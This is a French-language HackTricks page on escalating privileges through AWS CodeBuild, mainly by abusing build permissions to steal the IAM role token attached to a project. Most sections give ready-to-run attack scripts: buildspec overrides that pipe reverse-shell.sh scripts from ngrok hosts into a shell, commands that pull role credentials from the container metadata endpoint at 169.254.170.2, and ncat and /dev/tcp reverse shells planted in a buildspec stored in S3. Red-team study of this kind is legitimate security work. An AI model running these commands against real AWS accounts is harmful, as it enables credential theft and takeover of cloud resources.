AWS - Codebuild Privesc
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
codebuild
Obtenez plus d'infos dans :
codebuild:StartBuild
| codebuild:StartBuildBatch
Avec l'une de ces autorisations, il suffit de déclencher une construction avec un nouveau buildspec et de voler le token du rôle iam attribué au projet :
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
Remarque : La différence entre ces deux commandes est que :
StartBuild
déclenche un seul travail de construction en utilisant unbuildspec.yml
spécifique.StartBuildBatch
vous permet de démarrer un lot de constructions, avec des configurations plus complexes (comme l'exécution de plusieurs constructions en parallèle).
Impact potentiel : Privesc direct aux rôles AWS Codebuild attachés.
iam:PassRole
, codebuild:CreateProject
, (codebuild:StartBuild
| codebuild:StartBuildBatch
)
Un attaquant avec les permissions iam:PassRole
, codebuild:CreateProject
, et codebuild:StartBuild
ou codebuild:StartBuildBatch
serait capable de escalader les privilèges à n'importe quel rôle IAM codebuild en créant un rôle en cours d'exécution.
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
Impact potentiel : Privesc direct vers n'importe quel rôle AWS Codebuild.
warning
Dans un conteneur Codebuild, le fichier /codebuild/output/tmp/env.sh
contient toutes les variables d'environnement nécessaires pour accéder aux identifiants de métadonnées.
Ce fichier contient la variable d'environnement
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
qui contient le chemin URL pour accéder aux identifiants. Ce sera quelque chose comme/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Ajoutez cela à l'URL
http://169.254.170.2/
et vous pourrez extraire les identifiants du rôle.
De plus, il contient également la variable d'environnement
ECS_CONTAINER_METADATA_URI
qui contient l'URL complète pour obtenir des informations de métadonnées sur le conteneur.
iam:PassRole
, codebuild:UpdateProject
, (codebuild:StartBuild
| codebuild:StartBuildBatch
)
Tout comme dans la section précédente, si au lieu de créer un projet de build vous pouvez le modifier, vous pouvez indiquer le rôle IAM et voler le jeton.
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Impact potentiel : Privesc direct à tout rôle AWS Codebuild.
codebuild:UpdateProject
, (codebuild:StartBuild
| codebuild:StartBuildBatch
)
Comme dans la section précédente mais sans la permission iam:PassRole
, vous pouvez abuser de ces permissions pour modifier les projets Codebuild existants et accéder au rôle qui leur est déjà assigné.
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Impact potentiel : Privesc direct aux rôles AWS Codebuild attachés.
SSM
Avoir suffisamment de permissions pour démarrer une session ssm permet d'accéder à un projet Codebuild en cours de construction.
Le projet codebuild devra avoir un point d'arrêt :
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
Et ensuite :
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
Pour plus d'infos consultez la documentation.
(codebuild:StartBuild
| codebuild:StartBuildBatch
), s3:GetObject
, s3:PutObject
Un attaquant capable de démarrer/redémarrer un build d'un projet CodeBuild spécifique qui stocke son fichier buildspec.yml
dans un bucket S3 auquel l'attaquant a accès en écriture, peut obtenir l'exécution de commandes dans le processus CodeBuild.
Remarque : l'escalade est pertinente uniquement si le worker CodeBuild a un rôle différent, espérons-le plus privilégié, que celui de l'attaquant.
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
Vous pouvez utiliser quelque chose comme ceci buildspec pour obtenir un reverse shell :
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Impact : Privesc direct au rôle utilisé par le travailleur AWS CodeBuild qui a généralement des privilèges élevés.
warning
Notez que le buildspec pourrait être attendu au format zip, donc un attaquant devrait télécharger, dézipper, modifier le buildspec.yml
depuis le répertoire racine, rezipper et télécharger à nouveau.
Plus de détails peuvent être trouvés ici.
Impact potentiel : Privesc direct aux rôles AWS Codebuild attachés.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.